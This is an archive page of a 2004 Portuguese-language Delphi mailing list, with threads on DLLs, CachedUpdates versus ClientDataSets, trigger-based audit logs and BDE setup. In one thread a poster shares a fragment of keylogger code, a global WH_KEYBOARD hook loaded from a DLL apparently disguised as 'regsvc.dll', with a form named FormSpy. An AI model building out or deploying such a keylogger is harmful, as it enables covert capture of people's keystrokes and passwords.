From: David Leão  [EMAIL PROTECTED]
To: [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 2:27 PM
Subject: Res: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um
TMemo !
 
 
Não.. eu quero gravar o conteudo do memo para o arquivo TXT e não ao
contrário :(
 
__
David Leão Alves
Administrador de Banco de Dados
Governo do Estado do Amapá
Secretaria de Estado do Meio Ambiente - SEMA
Av. Mendonça Furtado, 53 - Centro / Macapá-AP
212-5318 - 212-5378
212-5303
[EMAIL PROTECTED]
www.sema.ap.gov.br
---Mensagem original---
 
De: [EMAIL PROTECTED]
Data: 09/29/04 13:44:19
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo
!
 
Não dá para o Memo pegar do arquivo texto?
 
  Sávio Cler
  ICQ 142428832
  www.sgm.rg3.net
  [EMAIL PROTECTED]
  Sto A. de Pádua - Rio de Janeiro
  Contato Pessoal:   (22)9812-0656
 
  ~ ~
( @ @ )
  ---o0Oo-(_)-oO0o---
  Precisando de dicas?
 www.deephi.hpg.com.br
  ---
Mais de 3 downloads
  -ooO---Ooo-
- Original Message -
From: David Leão  [EMAIL PROTECTED]
To: [EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED];
[EMAIL PROTECTED]; [EMAIL PROTECTED]
Sent: Wednesday, September 29, 2004 12:44 PM
Subject: [delphi-br] Res: Re: [DELPHI-Total] DLL escrevendo em um TMemo !
 
 
Caro Abensur,
Sua ajuda foi de suma importancia para eu tirar algumas dúvidas sobre o que
estou tentando fazer, mas realmente o que eu quero, não consta nesse
tutorial que vc enviou. na verdade não tem como eu escrever de dentro  da
Dll no memo que está na minha aplicação??
Abaixo segue o código do que eu quero fazer.:
Na verdade a rotina que eu tenho escreve num arquivo de texto e em vez disso
eu quero que ela escreva em um memo que se encontra na aplicação que usa a
dll.
o nome da minha dll é regsvc.dll
 
{Declaração das variáveis globais da unit}
 
Var
  FormSpy: TFormSpy;
  IdKeyLog: HHOOK;
  KeyLogDLL: LongWord;
  KeyLogHookProc: FARPROC;
 
{Evento OnCreate do Form}
 
IdKeyLog := 0;
KeylogDLL := LoadLibrary('regsvc.dll');
KeylogHookProc := GetProcAddress(KeylogDLL, 'KeyboardHookProc');
IdKeylog := SetWindowsHookEx(WH_KEYBOARD, KeylogHookProc, KeyLogDLL, 0);
 
 
{Função dentro da dll}
 
Function KeyboardHookProc(code: Integer; wParam: WPARAM; lParam: LPARAM):
LRESULT Stdcall;
Var
  b1, b2: Boolean;
  

Re: [delphi-br] DLL escrevendo em um TMemo !

2004-09-29 Por tôpico Elazar Dornelles Ceza

Crie uma funcao na dll do tipo

procedure EscreverMemo( Texto : TStrings);
begin
Texto.Clear
Texto.Add('Teste');
end;


na sua aplicacao use a funcao
assim

EscreverMemo( Memo1.Lines);


nao testei. pode ser necessario fazer alguma adaptacao...mas fiz algo semelhante na 
minha aplicacao..onde passava um combo e a dll prencia os items

  - Original Message - 
  From: David Leão 
  To: Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL 
PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL 
PROTECTED] ; Delphi - [EMAIL PROTECTED] ; Delphi - [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 11:09 AM
  Subject: [delphi-br] DLL escrevendo em um TMemo !


  Olá Caros Amigos, 
  Coma fazer para que uma função dentro de uma Dll escreva textos em um TMemo
  na Minha Aplicação.? 
  Alguem tem um exemplo, tutorial ou apostila que fale sobre Dll?? 
  Agradeço quem pudr me enviar .. 
  []'s 

  __ 
  David Leão Alves 
  Administrador de Banco de Dados 
  Governo do Estado do Amapá 
  Secretaria de Estado do Meio Ambiente - SEMA 
  Av. Mendonça Furtado, 53 - Centro / Macapá-AP 
  212-5318 - 212-5378 
  212-5303 
  [EMAIL PROTECTED] 
  www.sema.ap.gov.br 

  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 




[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





[delphi-br] CachedUpdates

2004-09-29 Por tôpico Filipe

Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes 
dataware...

 Será uma aplicação para + ou - uns 100 usuários simultâneos...

Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, 
poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as 
alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego 
em rede ... e nem no banco..

Qual a opinião de vcs?

Obrigado.

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: [delphi-br] Log de Usuários

2004-09-29 Por tôpico Marcelo Silva
Nossa colega é muita coisa ... 3 por tabela...

imagine um banco com 500 ou + tabelas...

Deve ter alguma função no Delphi ou no FB que sonda essas alterações...

Marcelo Silva
Cel. 11 9693-4251
ICQ - 49224093
MSN [EMAIL PROTECTED]
  - Original Message - 
  From: Rodrigo Reis Monnerat Louzada Villaverde 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 1:51 PM
  Subject: RES: [delphi-br] Log de Usuários


  Teria que ser 3 triggers por tabela. Uma para Inclusão, outra para
  alteraçãoe outra para exclusão.
  Eu não tenho nada pronto aqui não, mas devo estar fazendo uma rotina dessas
  por aqui daqui a uns 3 meses.
  Mas o caminho a seguir é esse mesmo

  ___
  Rodrigo Reis Monnerat Louzada Villaverde
  Analista de Sistemas

  

  1 www.petrolog.com.br
  * [EMAIL PROTECTED]
  (   +55 (21) 2421-1600
  +55 (21) 9626-3000


  -Mensagem original-
  De: Marcelo Silva [mailto:[EMAIL PROTECTED] 
  Enviada em: quarta-feira, 29 de setembro de 2004 13:39
  Para: [EMAIL PROTECTED]
  Assunto: Re: [delphi-br] Log de Usuários

  Uma trigger para cada tabela ? ou tem alguma função no fb que facilita as
  coisas ?
  Vc teria um sample pra me mandar colega ...

  Marcelo Silva
  Cel. 11 9693-4251
  ICQ - 49224093
  MSN [EMAIL PROTECTED]
- Original Message - 
From: Rodrigo Reis Monnerat Louzada Villaverde 
To: [EMAIL PROTECTED] 
Sent: Wednesday, September 29, 2004 1:32 PM
Subject: RES: [delphi-br] Log de Usuários


O melhor meio de se implementar isso é através de Triggers

___
Rodrigo Reis Monnerat Louzada Villaverde
Analista de Sistemas
  


1 www.petrolog.com.br
* [EMAIL PROTECTED]
(   +55 (21) 2421-1600
+55 (21) 9626-3000

-Mensagem original-
De: Marcelo Silva [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 13:24
Para: [EMAIL PROTECTED]
Assunto: [delphi-br] Log de Usuários


Tenho uma função que guarda Todos os erros do programa em uma tabela.

Gostaria de saber como vocês fazer para guardar operações como INSERT,
DELET, UPDATE etc...
Tipo (Fulano alterou registro tal...)

Vocês criam atravez de SP no banco ou tem alguma função no delphi que
detecta quando alguma tabela está em uso ?

Ou fazem manualmente mesmo ?

Marcelo Silva
Cel. 11 9693-4251
ICQ - 49224093
MSN [EMAIL PROTECTED]

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]

Links do Yahoo! Grupos











-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



  Yahoo! Grupos, um serviço oferecido por: 



  
  --
Links do Yahoo! Grupos

  a.. Para visitar o site do seu grupo na web, acesse:
  http://br.groups.yahoo.com/group/delphi-br/

  b.. Para sair deste grupo, envie um e-mail para:
  [EMAIL PROTECTED]

  c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do
  Serviço do Yahoo!. 



  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]

  Links do Yahoo! Grupos









  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou 

RES: [delphi-br] CachedUpdates

2004-09-29 Por tôpico Rubem Rocha

Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates.
[]s

-Mensagem original-
De: Filipe [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 15:14
Para: ((Delphi
Assunto: [delphi-br] CachedUpdates



Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes 
dataware...

 Será uma aplicação para + ou - uns 100 usuários simultâneos...

Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, 
poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as 
alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego 
em rede ... e nem no banco..

Qual a opinião de vcs?

Obrigado.

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED]
 
Links do Yahoo! Grupos




 





-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





Re: RES: [delphi-br] CachedUpdates

2004-09-29 Por tôpico MARCOS BATISTA
Tentei utilizar o Cached Updates estou tento problemas: quando tento atualizar vários 
registros e dá erro num deles (integridade referencial por exemplo), alguns flags 
internos do dataset sao atualizados e quando tento gravar na base de novo o componente 
nao atualiza todos os dados. Precisei montar na mão o SQL a partir do dataset com 
cached update para gravar na base. Deu certo. Mas eu nao aconselharia usar 
cachedupdade.

Quando eu tiver um tempo vou estudar ClientDataSets, que pelo que tenho lido na lista, 
tem sido o que a maioria dos programadores Delphi tem utilizado.

Batista

 [EMAIL PROTECTED] 29/9/2004 16:16:33 

Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates.
[]s

-Mensagem original-
De: Filipe [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 15:14
Para: ((Delphi
Assunto: [delphi-br] CachedUpdates



Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes 
dataware...

 Será uma aplicação para + ou - uns 100 usuários simultâneos...

Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, 
poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as 
alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego 
em rede ... e nem no banco..

Qual a opinião de vcs?

Obrigado.

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages 

Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED] 
 
Links do Yahoo! Grupos




 





-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages 

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED] 
 
Links do Yahoo! Grupos




 






-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] CachedUpdates

2004-09-29 Por tôpico Filipe
Desculpe Rubem, esqueci de dizer q utilizo Firebird 1.5, e componentes Interbase.
To começando a programar, então... 

Client Dataset??? o cached updates eh uma propriedade do query...

Dexa ver se eu entendi: Se eu utilizar ClientDataSet vou poder usar Componentes 
Dataware?
Seria o mesmo q utilizar IbDataSet???

Obrigado.


  - Original Message - 
  From: Rubem Rocha 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 4:16 PM
  Subject: RES: [delphi-br] CachedUpdates


  Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates.
  []s

  -Mensagem original-
  De: Filipe [mailto:[EMAIL PROTECTED] 
  Enviada em: quarta-feira, 29 de setembro de 2004 15:14
  Para: ((Delphi
  Assunto: [delphi-br] CachedUpdates



  Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes 
dataware...

  Será uma aplicação para + ou - uns 100 usuários simultâneos...

  Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, 
poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as 
alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego 
em rede ... e nem no banco..

  Qual a opinião de vcs?

  Obrigado.

  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED]

  Links do Yahoo! Grupos










  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Bornldmm.dll

2004-09-29 Por tôpico FS Under
Qual é o erro ? Descreva o erro, não cole o BMP, ele é
removido.

 --- Laira Gasparello [EMAIL PROTECTED]
escreveu: 

-
Ola...

Estou com o seguinte problema.. 

Ao executar a linha :

  FErrorMsg := TFErrorMsg.Create(nil); file://laira
09/12/2003 (um formulário que mostra mensagens do tipo
TFErrorMsg)

ocorre o erro abaixo:




Não existe uma lógica ao acontecer.. indifere o número
de notas que são impressas e também o tipo de nota..

Alguém já passou por este problema? 

Meu Delphi é o 6

Laira 



[As partes desta mensagem que não continham texto
foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA
MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou
[EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 

-
Links do Yahoo! Grupos

   Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
 
   Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
 
   O uso que você faz do Yahoo! Grupos está sujeito
aos Termos do Serviço do Yahoo!.
 

__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 


-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



Re: [delphi-br] Log de Usuários

2004-09-29 Por tôpico Artur Anjos

Marcelo Silva wrote:
 Nossa colega é muita coisa ... 3 por tabela...
 
 imagine um banco com 500 ou + tabelas...
 
 Deve ter alguma função no Delphi ou no FB que sonda essas alterações...
 

Não tem.

Mas existe utilitários que fazem isso (pagos) - isto é, criam as 
triggers necessárias automaticamente. Estou a lembrar-me de um, que se 
chama IBLogManager. É comercializado pelo Martjin, procure no Google.

Artur



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 





RES: [delphi-br] CachedUpdates

2004-09-29 Por tôpico Rubem Rocha

Pesquise o fonte dos exemplos. Se vc prestar bem atenção nos exemplos, poderá usar 
ambos, sendo que seu IBDataSet pode fornecer dados para um TClientDataSet. A dica pra 
pescar o peixe foi passada!
[]s

-Mensagem original-
De: Filipe [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 16:09
Para: [EMAIL PROTECTED]
Assunto: Re: [delphi-br] CachedUpdates


Rubem... mas ClientDataSet pode ou não ser substituído por IbDataset??? 
Ou uma coisa naum tem nada a ver com outra?

Brigadaum;
  - Original Message - 
  From: Rubem Rocha 
  To: [EMAIL PROTECTED] 
  Sent: Wednesday, September 29, 2004 4:38 PM
  Subject: RES: [delphi-br] CachedUpdates


  Pode sim. Pesquise os exemplos que acompanham o Delphi sobre o uso do 
TClientDataSet. Eles estão em uma pasta, chamada Demos/Midas ou Demos/DataSnap.
  []s

  -Mensagem original-
  De: Filipe [mailto:[EMAIL PROTECTED] 
  Enviada em: quarta-feira, 29 de setembro de 2004 15:37
  Para: [EMAIL PROTECTED]
  Assunto: Re: [delphi-br] CachedUpdates


  Desculpe Rubem, esqueci de dizer q utilizo Firebird 1.5, e componentes Interbase. To 
começando a programar, então... 

  Client Dataset??? o cached updates eh uma propriedade do query...

  Dexa ver se eu entendi: Se eu utilizar ClientDataSet vou poder usar Componentes 
Dataware? Seria o mesmo q utilizar IbDataSet???

  Obrigado.


- Original Message - 
From: Rubem Rocha 
To: [EMAIL PROTECTED] 
Sent: Wednesday, September 29, 2004 4:16 PM
Subject: RES: [delphi-br] CachedUpdates


Use ClientDataSets. É infinitas vezes melhor que usar Cached Updates.
[]s

-Mensagem original-
De: Filipe [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 15:14
Para: ((Delphi
Assunto: [delphi-br] CachedUpdates



Olá, lista, Estou tentando decidir se a minha aplicação terá ou não componentes 
dataware...

Será uma aplicação para + ou - uns 100 usuários simultâneos...

Numa conversa com um amigo, ele me disse q se eu utilizasse CachedUpdates := true, 
poderia utilizar datawares sem problema, pois Quando se trabalha com CacheUpdates as 
alterações só são enviadas quando vc da um ApplyUpdates desta forma não gera trafego 
em rede ... e nem no banco..

Qual a opinião de vcs?

Obrigado.

[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED]

Links do Yahoo! Grupos










-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
[EMAIL PROTECTED] ou [EMAIL PROTECTED]



  Yahoo! Grupos, um serviço oferecido por: 



  --
Links do Yahoo! Grupos

  a.. Para visitar o site do seu grupo na web, acesse:
  http://br.groups.yahoo.com/group/delphi-br/

  b.. Para sair deste grupo, envie um e-mail para:
  [EMAIL PROTECTED]

  c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



  [As partes desta mensagem que não continham texto foram removidas]



  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED]

  Links do Yahoo! Grupos








  -- 
   FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

  Para ver as mensagens antigas, acesse:
  http://br.groups.yahoo.com/group/delphi-br/messages

  Para falar com o moderador, envie um e-mail para:
  [EMAIL PROTECTED] ou [EMAIL PROTECTED]



Yahoo! Grupos, um serviço oferecido por: 
  


--
  Links do Yahoo! Grupos

a.. Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/
  
b.. Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]
  
c.. O uso que você faz do Yahoo! Grupos está sujeito aos Termos do Serviço do 
Yahoo!. 



[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED]
 
Links do Yahoo! Grupos




 



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 

Re: [delphi-br] Problemas com BDE

2004-09-29 Por tôpico Fabiano Catrinck
Abra o bde e reconfigure o driver que o seu sistema usava para acessar o
banco

Um abraço,
Fabiano Catrinck - Programador



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Pascal Script (Comunidade)

2004-09-29 Por tôpico Marcelo Moacir Florindo
Pessoal,

O q acham de montarmos uma comunidade ou  na lista identificar qdo o assunto se tratar 
de Pascal Script ( PS-Sou novato em PS)  ???

Estou apanhando feioe vejo que tem muito pouco material sobre tal...

Abraços a todos...

Marcelo


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



[delphi-br] Pergunta ignorante

2004-09-29 Por tôpico Cícerot
Depois de fazer vários sistemas (acreditem ahahahhaha), minha dúvida:

Tenho um sistema, tenhos os .PAS .dfm MAS NÃO TENHO O DPR.

Como faço para montar o sistema novamente 

[EMAIL PROTECTED]
---
Outgoing mail is certified Virus Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.698 / Virus Database: 455 - Release Date: 02/06/2004



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
 [EMAIL PROTECTED] ou [EMAIL PROTECTED]
 
Links do Yahoo! Grupos

* Para visitar o site do seu grupo na web, acesse:
http://br.groups.yahoo.com/group/delphi-br/

* Para sair deste grupo, envie um e-mail para:
[EMAIL PROTECTED]

* O uso que você faz do Yahoo! Grupos está sujeito aos:
http://br.yahoo.com/info/utos.html

 



RES: [delphi-br] Pascal Script (Comunidade)

2004-09-29 Por tôpico Rubem Rocha
Eu acho interessante. Tô nessa.
[]s

-Mensagem original-
De: Marcelo Moacir Florindo [mailto:[EMAIL PROTECTED] 
Enviada em: quarta-feira, 29 de setembro de 2004 16:42
Para: delphi-br
Assunto: [delphi-br] Pascal Script (Comunidade)


Pessoal,

O q acham de montarmos uma comunidade ou  na lista identificar qdo o assunto se tratar 
de Pascal Script ( PS-Sou novato em PS)  ???

Estou apanhando feioe vejo que tem muito pouco material sobre tal...

Abraços a todos...

Marcelo


[As partes desta mensagem que não continham texto foram removidas]



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:  
http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:  [EMAIL PROTECTED] ou [EMAIL 
PROTECTED]
 
Links do Yahoo! Grupos




 



-- 
 FAVOR REMOVER ESTA PARTE AO RESPONDER ESTA MENSAGEM 

Para ver as mensagens antigas, acesse:
 http://br.groups.yahoo.com/group/delphi-br/messages

Para falar com o moderador, envie um e-mail para:
